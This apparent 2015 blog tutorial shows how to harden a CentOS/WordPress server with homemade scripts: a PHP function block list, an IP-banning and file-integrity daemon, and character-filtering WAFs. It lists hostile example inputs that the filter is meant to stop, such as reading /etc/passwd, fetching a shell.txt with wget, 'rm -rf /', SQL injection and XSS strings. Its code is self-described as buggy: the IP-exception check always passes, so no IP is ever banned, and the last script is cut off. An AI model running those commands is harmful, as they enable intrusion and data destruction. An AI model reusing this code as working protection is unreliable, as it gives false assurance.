How to Setup Secure Website for Hackers
by
, 05-29-2015 at 08:52 PM (0 Views)
When security researchers and hackers want to setup a self blog, the biggest stress on their head is what to do to secure their server(s) and site(s). what if someone come and naughty their server(s) ? what if server get DOS/DDOS attack when they don’t have access to fix up their server(s) and they are travelling or go for business or something and they can’t access their server(s) for some reason. After some years that I spent my life on information security I release that nothing can’t be secure 100% , But We shouldn’t give up and let others naughty our server and deface our website or maybe make us a botnet zombie for DOS/DDOS Attack. In past year I decided to do something to remove this stress for myself or make it less and I start to make a mini firewall or something like Robot for secure my server and sure I don’t trust other firewalls. 99% of firewalls bypass easy and it’s really ridicule that firewalls from big companies mostly skip checking the packets on POST requests. So that’s first reason I decided to secure my server by my own scripts, and if you want to know more , keep reading.
At first We need to know , what do we have and what do we want? my first decision to secure my website is that I build my website on my own VPS and don’t share VPS with anyone else, so don’t use a share hosting for your site if it’s important for you not to be damaged by anyone, and by the way this method I want to talk about can’t be used to share hosting and it will take you in trouble if you share your VPS with someone else. Second decision is choose a operation system and a website platform for yourself, I choose CentOS for my Server OS and WordPress for my blogging. Notice , you can choose anything , But after you read this article you must know how to edit source codes and match them with other websites platform or OS. By the way I get a VPS that have a Console Access [Hardware Access + Emergency SSH or Emergency VNC] and I install a Panel [ For Example CPanel X (WHM/CPANEL) ] and panel installer will automatically install anything that needs to be install on Server. That was first Step for lazy guys and if you like , you can install anything you need with terminal on SSH or anyway you like. Just setup your website and after That install your Wordpress [or anything you want]. Okay Here we go. Now what you need to Secure:
1- WebServer
2- Your Blogging(or maybe forum or …) Platform
3- PHP
4- Set Permissions
5- Make a Mini Robot And a mini WAF
6- Other Service if you use [For Example SSH , I will explain it at the end of this article]
I don’t want to teach from the beginning of securing or config server so you most have a little knowledge while you reading this article. To protect your webserver from DOS/DDOS attack, if you use Apache [httpd] [Apache webserver is just an example] you really need to install Anti Slowloris first. Maybe you hear Slowloris before it’s a DOS/DDOS Script to attack on Apache webserver and easily can take down the Apache webserver [I don’t want to talk about how this script works so don’t need to explain more about it]. So now how to install it?
Fallow these commands:
If your Centos Doesn’t have apxs so you need to fallow these commands:PHP Code:
mkdir zeroday
cd zeroday
wget http://sourceforge.net/projects/mod-antiloris/files/mod_antiloris-0.4.tar.bz2/download
tar -xvjf mod_antiloris-0.4.tar.bz2
cd mod_antiloris-0.4
apxs -a -i -c mod_antiloris.c
service httpd restart
And again if it shows you any error of php-devel or httpd-devel don’t give up and install these from rpm packages From vault.centos.org.PHP Code:
yum install php-pear
yum install php-devel
yum install httpd-devel
pecl install apc
echo "extension=apc.so" > /etc/php.d/apc.ini
service httpd restart
The next step for config your webserver ,You need to off the webserver signature to don’t get others much information about webserver modules. so find the httpd.conf and then open it and search the “ServerSignature On” , replace with “ServerSignature Off” and add “ServerTokens Prod” or “ServerTokens Email” [Webmaster or Admin Email].
Next step is disable the CGI and directory listing and you need to Add “Options -Indexes -ExecCGI …” , If you do it before you know how to do these things and if not , Beginners can learn from this URL.
Notice: In that url, which I shared for beginners, said about “mod_security” ,I suggest you not to install or active it, sometimes it’s not good for poor servers and in DDOS attacks it gona help to make website going offline [Effect on crash or use much system processing].
And now PHP config time, all you need is set some disable functions and turn on safe mode and disable errors not to show path and user, and to disallow other urls opening by fopen. I just made a list to disable function which you are allowed to use.
and beginners can check HERE for help and learn how to do these things.PHP Code:
socket_last_error,pcntl_wexitstatus,socket_recvfrom,pcntl_wifexited,socket_getpeername,posix_mknod,base64_decode,pcntl_wtermsig,imap_list,php_uname,openlog,stream_socket_client,imap_open,socket_create,proc_get_status,posix_isatty,group,stream_copy_to_stream,posix_getrlimit,fwrite,pfsockopen,pfsockopenproc_nice,is_writable,socket_write,socket_read,posix_mkfifo,posix_initgroups,stream_get_wrappers,dl,posix_getpwnam,posix_getgrgid,stream_filter_append,posix_getgid,posix_getcwd,posix_getgroups,chmod,socket_set_block,pcntl_wstopsig,socket_writereadlink,stream_set_blocking,stream_context_create,rewinddir,proc_terminate,stream_get_filters,pcntl_signal,dlopenlog,stream_select,curl_getinfo,posix_geteuid,stream_socket_recvfrom,error_log,socket_select,shell_exec,apache_getenv,gzinflate,dir,posix_getpwuid,tmpfile,GETCWD(),stream_resolve_include_path,socket_clear_error,pcntl_wifstopped,syslog,stream_context_set_option,stream_socket_accept,getmypid,cpanel_check,stream_socket_shutdown,apache_note,purepass,posix_getsid,leak,phpinfo,stream_socket_pair,posix_setegid,socket_set_nonblock,reg_glob,escapeshellcmd,gzuncompress,pureuser,show_source,apache_get_version,posix_getlogin,posix_ctermid,posix_kill,socket_accept,posix_getppid,symlink,timearray,pcntl_waitpid,getmygid,posix_ttyname,diskfreespace,popen,stream_socket_sendto,apache_setenv,stream_context_set_params,stream_filter_register,posix_access,socket_set_option,stream_context_get_default,posix_errno,posix_times,posix_setuid,socket_get_option,ftp_check,stream_socket_enable_crypto,port_bind_bd_c,proc_open,pcntl_wifsignaled,proc_deutf,posix_seteuid,posix_uname,get_current_user,socket_create_pair,proc_nice,curl_errno,socket_sendsocket_sendto,mkdir,system,stream_get_line,posix_getpid,highlight_file,socket_create_listen,mysql_list_dbs,listen,imap_body,shell,ini_alter,posix_setpgid,socket_bind,link,getmyuid,posix_getpgid,ini_restore,posix_setsid,stream_set_write_buffer,posix_getegid,eof_ctrl_dir,getrusage,stream_set_timeout,ini_get_all,apache_get_modules,stream_socket_server,stream_filter_remove,posix_setgid,proc_close,socket_shutdown,socket_listen,stream_encoding,posix_getgrnam,stream_wrapper_unregister,stream_get_meta_data,getmicrotime,fpassthru,socket_recv,virtual,chgrp,presets_rlph,posix_getuid,stream_filter_prepend,stream_get_transports,stream_context_get_options,set_time_limit,exec,posix_getpgrp,stream_register_wrapper,stream_socket_get_name,stream_bucket_new,posix_get_last_error,gethostbyname,getcwd(),chroot,socket_close,escapeshellarg,fsockopen,passthru,stream_wrapper_register,socket_strerror,stream_get_contents,stream_wrapper_restore,pcntl_exec,socket_connect,stream_bucket_prepend,chown,posix_strerror,curl_multi_exec,pcntl_fork,apache_child_terminate
All I said was simple and there were not any special things and maybe easy to bypass, but do NOT hurry. Let me explain more and then we shall be to continue. By that disable functions and php config we disabled the RCE vulnerabilities and something more that you know they appear with those functions, so copy this python script in your public_html folder and run it. It will change file and folder permissions [remove write permission]. After you setup your website and finish, you must close “write permission” on every folder and files in public_html. On this way anyone can’t upload anything on your website and if you want to upload anything, you have to upload on database, or if you want to upload in the public_html folder you must open permission for the second time and upload your files and close it again, Now We know that uploading and file writing begin to disable on our server in a simple way.
Note: This script set 555 permission for folders and 444 for files.PHP Code:
import os
#perm.py
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/perm.py
#Ali Razmjoo
for dirname, dirnames, filenames in os.walk('/home/zeroday/public_html/'): #change directory or copy file to public_html directory and set directory ('.')
for subdirname in dirnames:
f = os.path.join(dirname, subdirname)
f = f[2:]
cmd = 'chmod 555 ' + str(f) #555 Perm for Folders
os.system(cmd)
for filename in filenames:
f = os.path.join(dirname, filename)
f = f[2:]
cmd = 'chmod 444 ' + str(f) #444 Perm for Files
os.system(cmd)
Note: All scripts are not coded in professional coding mode so take it easy. I wrote them so fast.
Now it’s time for our little baby robot. What does it have to do for us? How does it work? I made a mini robot that add a service named “zeroday” in your OS [Linux base] and then open some Subprocess and start working , what’s his job ?
1- Check for DOS/DDOS attack from inside and outside
2- Check MD5 for public_html files
And now about source codes and explain. At first you must create file with name “zeroday” in /etc/init.d/ zeroday is the beginning of your service name. [work with command “service zeroday start/stop”] and here is sourcode code.
Note: You can choose a different service name [‘zeroday’ or anything you like].
Now it’s time for our little baby robot. What does it have to do for us? How does it work? I made a mini robot that add a service named “zeroday” in your OS [Linux base] and then open some Subprocess and start working , what’s his job ?PHP Code:
#!/bin/bash
#found on google
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/zeroday
#zeroday
WORK_DIR="/var/lib/foo"
DAEMON="/usr/bin/python"
ARGS="/root/zeroday.py"
PIDFILE="/var/run/foo.pid"
USER="root" #you must run this process as root
KILL="/root/kill.py"
case "$1" in
start)
echo "Starting server"
mkdir -p "$WORK_DIR"
start-stop-daemon --start --pidfile $PIDFILE \
--user $USER \
-b --make-pidfile \
--chuid $USER \
--exec $DAEMON $ARGS
;;
stop)
echo "Stopping server"
start-stop-daemon --stop --pidfile $PIDFILE --verbose
python $KILL
;;
*)
echo "Usage: /etc/init.d/$USER {start|stop}"
exit 1
;;
esac
exit 0
1- Check for DOS/DDOS attack from inside and outside
2- Check MD5 for public_html files
And now about source codes and explain. At first you must create file with name “zeroday” in /etc/init.d/ zeroday is the beginning of your service name. [work with command “service zeroday start/stop”] and here is sourcode code.
Note: You can choose a different service name [‘zeroday’ or anything you like].
Explain this code:
I found this code in google and it’s gonna help us make a service very easy on linux. Look at this like:
zeroday.py is main starting script of robot.PHP Code:
ARGS="/root/zeroday.py"
kill.py execute when we want stop robot[service].PHP Code:
KILL="/root/kill.py"
Note: You must create these files in same directory or change directory in service bash script.
Note: As you see in line 12 , we must install ‘start-stop-daemon’ so download and install it.
Download Daemon tools:
And if you get any error, or you don’t have gcc:PHP Code:
wget https://raw.githubusercontent.com/Ali-Razmjoo/z3r0d4y/master/daemon.zip
unzip daemon.zip
cd daemon
make
PHP Code:
yum install gcc
gcc start-stop-daemon.c -o start-stop-daemon
cp start-stop-daemon /usr/sbin/
chmod 755 /usr/sbin/start-stop-daemon
Note: Copy this script in /root/ directory, If you want change directory, Don’t forget to change it in source codes too.PHP Code:
#zeroday.py
#!/usr/bin/python
#Ali Razmjoo
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/zeroday.py
import os,hashlib,subprocess,signal,time,multiprocessing,time,sys,httplib,pickle,socket,re,urllib2 #import modules
stop_event = multiprocessing.Event() #start multiprocessing
def stop(signum, frame):
stop_event.set()
signal.signal(signal.SIGTERM, stop)
if __name__ == '__main__': #start software
while not stop_event.is_set(): #while bash script not stop ....
subpro_in = subprocess.Popen(['python','/root/in.py'],stdout=subprocess.PIPE)
pid_in = str(subpro_in.pid)
subpro_out = subprocess.Popen(['python','/root/out.py'],stdout=subprocess.PIPE)
pid_out = str(subpro_out.pid)
subpro_24 = subprocess.Popen(['python','/root/24ban.py'],stdout=subprocess.PIPE)
pid_24 = str(subpro_24.pid)
subpro_md5 = subprocess.Popen(['python','/root/md5.py'],stdout=subprocess.PIPE)
pid_md5 = str(subpro_md5.pid)
while 1:
loop = 1 #keep this process active
time.sleep(1000)
And other files you need to have in root directory:
Note: Change exceptions IP to anything you want.PHP Code:
#!/usr/bin/python
#24ban.py
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/24ban.py
import os,hashlib,subprocess,signal,time,multiprocessing,time,sys,httplib,pickle,socket,re,urllib2 #import modules
stop_event = multiprocessing.Event()
while 1:
time.sleep(120)
os.system('netstat -ntu | awk \'{print $5}\' | cut -d: -f1 | sort | uniq -c | sort -n >> /root/IPz.txt')
file = open('/root/IPz.txt')
for line in file:
ip = line
Ban = 0
word_num = 0
words = ip.split()
for text_word in words:
word_num += 1
if word_num is 1:
if int(text_word) > 20:
Ban = 1
if word_num is 2:
if Ban is 1:
if '.' in text_word:
skip = 0
if '127.0.0.1' or '176.9.183.142' or '79.175.163.84' in text_word: #replace your ip address
skip = 1
if skip is 0:
deny = 'iptables -I INPUT -s %s -j DROP' %text_word # it use iptables to ban users
os.system(deny)
deny = 'iptables -A INPUT -s %s -j DROP' %text_word
os.system(deny)
os.system('service iptables-persistent save')
os.system('service iptables-persistent restart')
ipsave = open('/root/Banned.txt','a') #save ip banned for me
ip_add = text_word + '\n'
ipsave.write(ip_add)
ipsave.close()
os.system('rm -rf /root/IPz.txt')
Note: This file find the IPs, which have more threads on server and it going to block them.
Note: You can see block IPs in /root/Banned.txt
Note: This script will check your server every 120 seconds. Why ? Maybe someone trying for DOS/DDOS attack but attack not begin success yet. So it will check and block them too.
This file will check the MD5 of public_html files and folders, If any file or folder is to be changed/added/removed, Robot will Stop Apache. So you cannot be defaced.
This file is going to run and ban IPs requested by Robot.PHP Code:
#md5.py
#!/usr/bin/python
#By Ali Razmjoo
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/md5.py
import os,hashlib,subprocess,signal,time,multiprocessing,time,sys,httplib,pickle,socket,re,urllib2 #import modules
stop_event = multiprocessing.Event() #start multiprocessing
def stop(signum, frame):
stop_event.set()
signal.signal(signal.SIGTERM, stop)
if __name__ == '__main__': #start software
while not stop_event.is_set(): #while bash script not stop ....
time.sleep(0.6)
os.system('rm -rf /home/size_public_html')
f = open('/home/size_public_html','a')
for dirname, dirnames, filenames in os.walk('/home/z3r0d4y/public_html/'):
F = 0
A = 0
C = 1
D = 1
for subdirname in dirnames:
A = os.path.join(dirname, subdirname)
if 'error_log' in A:
C = 0
if 'access_log' in A:
if 'data' in A:
C = 0
if C is 1:
if 'public_html/' in A:
size = os.path.getsize(A)
wr = str(size) + ':::' + str(A) + '\n'
f.write(wr)
C = 1
for filename in filenames:
F = os.path.join(dirname, filename)
if 'error_log' in F:
D = 0
if 'access_log' in F:
D = 0
if D is 1:
if 'public_html/' in F:
try:
size = os.path.getsize(F)
wr = str(size) + ':::' + str(F) + '\n'
f.write(wr)
except:
e = 1
D = 1
f.close()
hash = open('/home/size_public_html').read()
md5 = hashlib.md5(hash).hexdigest()
print md5
os.system('rm -rf /home/size_public_html')
L = 1
if '9c5302d7c4115dcc4b66da2d5def389c' in md5:
L = 0
if L is 1:
while 1:
time.sleep(0.5)
os.system('service httpd stop')
os.system('echo \'Files Size changed ! danger !!!!\' > /home/lamer_detect.txt')
print '\nAll Dead\n'
os.system('python /root/kill.py')
sys.exit(0)
print 'pass , md5:', md5
And this file is going to check server [if crashed or not to be open] from inside of your server.PHP Code:
#ban.py
#!/usr/bin/python
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/ban.py
import os,hashlib,subprocess,signal,time,multiprocessing,time,sys,httplib,pickle,socket,re,urllib2 #import modules
stop_event = multiprocessing.Event()
os.system('netstat -ntu | awk \'{print $5}\' | cut -d: -f1 | sort | uniq -c | sort -n >> /root/IPs.txt')
os.system('service apache2 stop')
file = open('/root/IPs.txt')
for line in file:
ip = line
Ban = 0
word_num = 0
words = ip.split()
for text_word in words:
word_num += 1
if word_num is 1:
if int(text_word) > 20:
Ban = 1
if word_num is 2:
if Ban is 1:
if '.' in text_word:
skip = 0
if '127.0.0.1' or '176.9.183.142' or '79.175.163.84' in text_word:
skip = 1
if skip is 0:
deny = 'iptables -I INPUT -s %s -j DROP' %text_word # it use iptables to ban users
os.system(deny)
deny = 'iptables -A INPUT -s %s -j DROP' %text_word
os.system(deny)
os.system('service iptables-persistent save')
os.system('service iptables-persistent restart')
ipsave = open('/root/Banned.txt','a') #save ip banned for me
ip_add = text_word + '\n'
ipsave.write(ip_add)
ipsave.close()
os.system('rm -rf /root/IPs.txt')
os.system('service apache2 start')
This file will check your server status from another host, and you must change check.php file address and upload check.php on other hosting [you can use free hosting], then put url in this script. And notice, you must change ‘z3r0d4y’ word to your site title.PHP Code:
#in.py
#!/usr/bin/python
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/in.py
import os,hashlib,subprocess,signal,time,multiprocessing,time,sys,httplib,pickle,socket,re,urllib2 #import modules
stop_event = multiprocessing.Event() #start multiprocessing
Attack = 0
while 1:
time.sleep(0.2)
try:
Ready_Target = 'z3r0d4y.com'
connection = httplib.HTTPConnection(Ready_Target)
connection.request("GET",'/')
response = connection.getresponse()
E404 = '404'
ENot = 'Not Found' #
if E404 == response.status or E404 == response.reason or ENot == response.status or ENot == response.reason:
print 'yes'
time.sleep(0.1)
else:
print 'yes'
time.sleep(0.1)
E = 0
except httplib.HTTPException, e:
E = 1
Attack += 1
except ValueError:
E = 1
Attack += 1
except socket.timeout:
E = 1
Attack += 1
except IOError:
E = 1
Attack += 1
if Attack is 10:
os.system('python /root/ban.py')
Attack = 0
And now kill.py for stop process.PHP Code:
#out.py
#!/usr/bin/python
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/out.py
import os,hashlib,subprocess,signal,time,multiprocessing,time,sys,httplib,pickle,socket,re,urllib2 #import modules
stop_event = multiprocessing.Event() #start multiprocessing
err_c = 0
while 1:
time.sleep(0.5)
try:
opnurl = urllib2.urlopen('http://z3r0d4y.com/check.php').read()
E = 1
if 'z3r0d4y' in opnurl:
E = 0
except:
E = 0
err_c += 1
if E is 1:
os.system('python /root/ban.py')
err_c = 0
if err_c is 100:
time.sleep(60)
At last check.php file content is simple. Just a file will open my site and you may print the content.PHP Code:
#kill.py
#!/usr/bin/python
#By Ali Razmjoo
#https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/kill.py
import os,hashlib,subprocess,signal,time,multiprocessing,time,sys,httplib,pickle,socket,re,urllib2 #import modules
stop_event = multiprocessing.Event() #start multiprocessing
os.system('ps aux | grep .py > /root/id.txt')
f = open('/root/id.txt')
for line in f:
line = line.rsplit()
try:
pid = int(line[1])
cmd = 'kill -9 ' + str(pid)
os.system(cmd)
except:
skip = 1
Setup example:PHP Code:
#check.php
<?php
$homepage = file_get_contents('http://z3r0d4y.com/');
if($homepage){
echo $homepage
}
?>
If return you any error.PHP Code:
wget https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/service.zip?raw=true --no-check-certificate
unzip service.zip
cd service
mv * ../
cd ..
rm -rf service
cd daemon
make
And thenPHP Code:
yum install gcc
gcc start-stop-daemon.c -o start-stop-daemon
cp start-stop-daemon /usr/sbin/
chmod 755 /usr/sbin/start-stop-daemon
start-stop-daemon -V
#output: start-stop-daemon 1.9.18
And now run and edit md5.pyPHP Code:
cd ..
rm -rf daemon
rm -rf service.zip
mv zeroday /etc/init.d/
chmod 755 /etc/init.d/zeroday
mv *.py /root/
cd /root/
chmod 755 *.py
Go to line 52 and replace this md5 with md5 inside file ,And try to run it again.PHP Code:
#nano md5.py => replace public_html directory in line 13
[root@localhost ~]# python md5.py => output:
d41d8cd98f00b204e9800998ecf8427e
Stopping httpd: [ OK ]
All Dead
Killed
#-------------------------------------------------
nano md5.py
Next step you have to replace php file link address in out.py at line 8. And now it’s working now.PHP Code:
[root@localhost ~]# python md5.py
d41d8cd98f00b204e9800998ecf8427e
pass , md5: d41d8cd98f00b204e9800998ecf8427e
d41d8cd98f00b204e9800998ecf8427e
pass , md5: d41d8cd98f00b204e9800998ecf8427e
d41d8cd98f00b204e9800998ecf8427e
pass , md5: d41d8cd98f00b204e9800998ecf8427e
And now about that php file , you should replace your primary word to your site name or title and then upload it on other host [you can also use free hosting as I said before] and now your service works well.
Until now, if your server files change, this robot will stop Apache webserver, so it means any one cannot upload any badware [ shell scripts or anything ] on your website or deface your website or if any DOS/DDOS attack or crashing happen, it will ban attacker(s) IP and restart Apache webserver. this robot need to develop to work more easy and if I get more free time I’ll improve it and make it easy to work.
But now , about other 0day Vulnerabilities on wordpress or plugins [Or any CMS you used] , We need to filter something on GET and POST Requests but if you think I want start listing words same
You are so wrong, because it’s so ridicules and it bypass easy so the best way it’s filter these characters.PHP Code:
union
select
wget
alert(
wget
curl
information
and bla bla
Note: I said filter GET and POST, It’s just an example for inputs.PHP Code:
!@#$%^&*()_+=-\|}{[]:"?><;'/.,
If we filter these characters most vulnerabilities will disable Examples:
RCE:
SQL:PHP Code:
cat /etc/passwd => / <= This Char filtered by firewall
ls -la => -
echo 1 > 1 => >
wget http://z3r0d4y.com/shell.txt => :// . .
curl z3r0d4y.com => .
rm -rf / => - /
rm * => *
XSS:PHP Code:
Union Select 1,2,3,4,5 from admin-- => , -
hex( , unhex( , grpup_contact( , bla bla => ( _
LFI:PHP Code:
alert( => (
<img> <
scr= => =
document.cookie => .
And more …PHP Code:
/etc/passwd => /
../ => . /
See everything filtered by a simple way, But it’s not all. Wordpress Admin panel and guest users need to send this chars. we should not block them from comment or block admin requests for send post or any jquery or java POSTs in admin panel. So we need a white list [Exception list] to Handle these. All you to do is put “wp-comments-post.php” file in white list for users comments and generate a random MD5 or any primary key for using on Admin user agent and handle in Exception. Then you can have your private key to be admin and login in admin panel, send your posts without any problem [My Suggestion is use Firefox UserAgent switcher Add-Ons]. Next Step is Handle your code in config.php and we done with our WAF.
Note: If you want use this WAF on other CMS you must change white list and include it on cms config file (config files usually included on all files in CMS that’s why we do that).PHP Code:
<?php
//Code By Ali Razmjoo
//waf.php
//https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/waf.php
$list_exceptions = array("/wp-comments-post.php");
$list_deny = array("`",
"~",
"!",
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
")",
"-",
"_",
"+",
"[",
"]",
"{",
"}",
"\\",
"|",
";",
":",
"'",
'"',
"<",
">",
"?",
"/",
",",
".",
);
$detect = 0;
$get = 0;
$post = 0;
$protocol = strpos(strtolower($_SERVER['SERVER_PROTOCOL']),'https') === FALSE ? 'http' : 'https';
$host = $_SERVER['HTTP_HOST'];
$script = $_SERVER['SCRIPT_NAME'];
$params = $_SERVER['QUERY_STRING'];
$currentUrl = $protocol . '://' . $host . $script . '?' . $params;
$script = urldecode($script);
$script = urldecode($script);
$script = urldecode($script);
$script = urldecode($script);
$params = urldecode($params);
$params = urldecode($params);
$params = urldecode($params);
$params = urldecode($params);
$agent = $_SERVER['HTTP_USER_AGENT'];
for($i=0; $i<count($list_deny); $i++){
if(strpos($params,$list_deny[$i]) !== false){
$get = 1;
for($j=0; $j<count($list_exceptions); $j++){
if(strpos($script,$list_exceptions[$j]) !== false){
$get = 0;
}
}
if($get == 1){
if(strpos($agent,'b00c52cac042640c440db9684a59ae36') == false){
$_GET = str_replace($list_deny[$i],"***[firewall]***",$_GET);
}
}
}
}
foreach($_POST as $key => $value){
$key = strtolower($key);
$value = strtolower($value);
for($i=0; $i<count($list_deny); $i++){
if(strpos($value,$list_deny[$i]) !== false){
$post = 1;
for($j=0; $j<count($list_exceptions); $j++){
if(strpos($script,$list_exceptions[$j]) !== false){
$post = 0;
}
}
if($post == 1){
if(strpos($agent,'b00c52cac042640c440db9684a59ae36') == false){
$_POST = str_replace($list_deny[$i],"***[firewall]***",$_POST);
}
}
}
}
}
?>
Here is a more powerful WAF made for VBulletin 4.2.2:
Note: These codes didn’t test with professional methods and it might be full of bugs, So you have to be able to develop these codes before use.PHP Code:
<?php
//Code By Ali Razmjoo
//waf2.php
//https://github.com/Ali-Razmjoo/z3r0d4y/blob/master/waf2.php
#!@$%^&*()-_+=`~[]\{}|;':",./<>?
$deny = array('#',
'!',
'@',
'$',
'%',
'^',
'&',
'*',
'(',
')',
'-',
'_',
'+',
'=',
'`',
'~',
'[',
']',
'\\',
'{',
'}',
'|',
';',
'\'',
':',
'"',
',',
'.',
'/',
'<',
'>',
'?');
$denytoken = array('#',
'!',
'@',
'$',
'%',
'^',
'&',
'*',
'(',
')',
'_',
'+',
'=',
'`',
'~',
'[',
']',
'\\',
'{',
'}',
'|',
';',
'\'',
':',
'"',
',',
'.',
'/',
'<',
'>',
'?');
$denymail = array('#',
'!',
'$',
'%',
'^',
'&',
'*',
'(',
')',
'+',
'=',
'`',
'~',
'[',
']',
'\\',
'{',
'}',
'|',
';',
'\'',
':',
'"',
',',
'/',
'<',
'>',
'?');
$agent_deny = array_diff($deny, array("/" , "." , "(" , ")" , ";" , "+" , ":" , "_" , "-"));
for($i=0; $i<count($agent_deny); $i++){
if(strpos($_SERVER["HTTP_USER_AGENT"],$agent_deny[$i]) !== false){
$_SERVER["HTTP_USER_AGENT"] = str_replace($agent_deny[$i],"*F*",$_SERVER["HTTP_USER_AGENT"]);
}
}
for($i=0; $i<count($deny); $i++){
if(strpos($_SERVER["HTTP_REFERER"],$deny[$i]) !== false){
$_SERVER["HTTP_REFERER"] = str_replace($deny[$i],"*F*",$_SERVER["HTTP_REFERER"]);
}
}
for($i=0; $i<count($deny); $i++){
if(strpos($_SERVER["HTTP_ACCEPT"],$deny[$i]) !== false){
$_SERVER["HTTP_ACCEPT"] = str_replace($deny[$i],"*F*",$_SERVER["HTTP_ACCEPT"]);
}
}
for($i=0; $i<count($deny); $i++){
if(strpos($_SERVER["HTTP_ACCEPT_LANGUAGE"],$deny[$i]) !== false){
$_SERVER["HTTP_ACCEPT_LANGUAGE"] = str_replace($deny[$i],"*F*",$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
}
}
for($i=0; $i<count($deny); $i++){
if(strpos($_SERVER["HTTP_ACCEPT_ENCODING"],$deny[$i]) !== false){
$_SERVER["HTTP_ACCEPT_ENCODING"] = str_replace($deny[$i],"*F*",$_SERVER["HTTP_ACCEPT_ENCODING"]);
}
}
for($i=0; $i<count($deny); $i++){
if(strpos($_SERVER["HTTP_ACCEPT_ENCODING"],$deny[$i]) !== false){
$_SERVER["HTTP_ACCEPT_ENCODING"] = str_replace($deny[$i],"*F*",$_SERVER["HTTP_ACCEPT_ENCODING"]);
}
}
for($i=0; $i<count($deny); $i++){
if(strpos($_SERVER["HTTP_ACCEPT_ENCODING"],$deny[$i]) !== false){
$_SERVER["HTTP_ACCEPT_ENCODING"] = str_replace($deny[$i],"*F*",$_SERVER["HTTP_ACCEPT_ENCODING"]);
}
}
$cookie_deny = array_diff($deny, array(";", "_",".","=","-",",","/",":"));
for($i=0; $i<count($cookie_deny); $i++){
if(strpos($_SERVER["HTTP_COOKIE"],$cookie_deny[$i]) !== false){
$_SERVER["HTTP_COOKIE"] = str_replace($cookie_deny[$i],"*F*",$_SERVER["HTTP_COOKIE"]);
}
}
$cache_deny = array_diff($deny, array("-"));
for($i=0; $i<count($cache_deny); $i++){
if(strpos($_SERVER["HTTP_PRAGMA"],$cache_deny[$i]) !== false){
$_SERVER["HTTP_PRAGMA"] = str_replace($cache_deny[$i],"*F*",$_SERVER["HTTP_PRAGMA"]);
}
}
for($i=0; $i<count($cache_deny); $i++){
if(strpos($_SERVER["HTTP_CACHE_CONTROL"],$cache_deny[$i]) !== false){
$_SERVER["HTTP_CACHE_CONTROL"] = str_replace($cache_deny[$i],"*F*",$_SERVER["HTTP_CACHE_CONTROL"]);
}
}
$req_deny = array_diff($deny, array("/","."));
for($i=0; $i<count($req_deny); $i++){
if(strpos($_SERVER["SERVER_PROTOCOL"],$req_deny[$i]) !== false){
$_SERVER["SERVER_PROTOCOL"] = str_replace($req_deny[$i],"*F*",$_SERVER["SERVER_PROTOCOL"]);
}
}
for($i=0; $i<count($deny); $i++){
if(strpos($_SERVER["reqtype"],$deny[$i]) !== false){
$_SERVER["reqtype"] = str_replace($deny[$i],"*F*",$_SERVER["reqtype"]);
}
}
$fields = array('customtext','homepage','bccrecipients','recipients','message_backup','title','forward','securitytoken','url','username','vb_login_username','vb_login_password','vb_login_password_hint','confirm','message','message_backup','sbutton','passwordconfirm','postvars');
$_POST['email'] = str_replace("@","ZZZZ1",$_POST['email']);
$_POST['email'] = str_replace(".","ZZZZ2",$_POST['email']);
$_POST['email'] = str_replace("-","ZZZZ3",$_POST['email']);
$_POST['email'] = str_replace("_","ZZZZ4",$_POST['email']);
$_POST['emailconfirm'] = str_replace("@","ZZZZ1",$_POST['emailconfirm']);
$_POST['emailconfirm'] = str_replace(".","ZZZZ2",$_POST['emailconfirm']);
$_POST['emailconfirm'] = str_replace("-","ZZZZ3",$_POST['emailconfirm']);
$_POST['emailconfirm'] = str_replace("_","ZZZZ4",$_POST['emailconfirm']);
$_POST['securitytoken'] = str_replace("-","ZZZZ3",$_POST['securitytoken']);
$_POST['yahoo'] = str_replace("@","ZZZZ1",$_POST['yahoo']);
$_POST['yahoo'] = str_replace(".","ZZZZ2",$_POST['yahoo']);
$_POST['yahoo'] = str_replace("-","ZZZZ3",$_POST['yahoo']);
$_POST['yahoo'] = str_replace("_","ZZZZ4",$_POST['yahoo']);
$_POST['msn'] = str_replace("@","ZZZZ1",$_POST['msn']);
$_POST['msn'] = str_replace(".","ZZZZ2",$_POST['msn']);
$_POST['msn'] = str_replace("-","ZZZZ3",$_POST['msn']);
$_POST['msn'] = str_replace("_","ZZZZ4",$_POST['msn']);
foreach($_POST as $key => $value){
$key = strtolower($key);
$value = strtolower($value);
for($i=0; $i<count($deny); $i++){
if(strpos($value,$deny[$i]) !== false){
$post = 1;
for($j=0; $j<count($fields); $j++){
if(strpos($key,$fields[$j]) !== false){
$post = 0;
}
}
if($post == 1){
$_POST = str_replace($deny[$i],"*F*",$_POST);
}
}
}
}
$_POST['email'] = str_replace("ZZZZ1","@",$_POST['email']);
$_POST['email'] = str_replace("ZZZZ2",".",$_POST['email']);
$_POST['email'] = str_replace("ZZZZ3","-",$_POST['email']);
$_POST['email'] = str_replace("ZZZZ4","_",$_POST['email']);
$_POST['emailconfirm'] = str_replace("ZZZZ1","@",$_POST['emailconfirm']);
$_POST['emailconfirm'] = str_replace("ZZZZ2",".",$_POST['emailconfirm']);
$_POST['emailconfirm'] = str_replace("ZZZZ3","-",$_POST['emailconfirm']);
$_POST['emailconfirm'] = str_replace("ZZZZ4","_",$_POST['emailconfirm']);
$_POST['securitytoken'] = str_replace("ZZZZ3","-",$_POST['securitytoken']);
$_POST['yahoo'] = str_replace("ZZZZ1","@",$_POST['yahoo']);
$_POST['yahoo'] = str_replace("ZZZZ2",".",$_POST['yahoo']);
$_POST['yahoo'] = str_replace("ZZZZ3","-",$_POST['yahoo']);
$_POST['yahoo'] = str_replace("ZZZZ4","_",$_POST['yahoo']);
$_POST['msn'] = str_replace("ZZZZ1","@",$_POST['msn']);
$_POST['msn'] = str_replace("ZZZZ2",".",$_POST['msn']);
$_POST['msn'] = str_replace("ZZZZ3","-",$_POST['msn']);
$_POST['msn'] = str_replace("ZZZZ4","_",$_POST['msn']);
foreach($_GET as $key => $value){
$key = strtolower($key);
$value = strtolower($value);
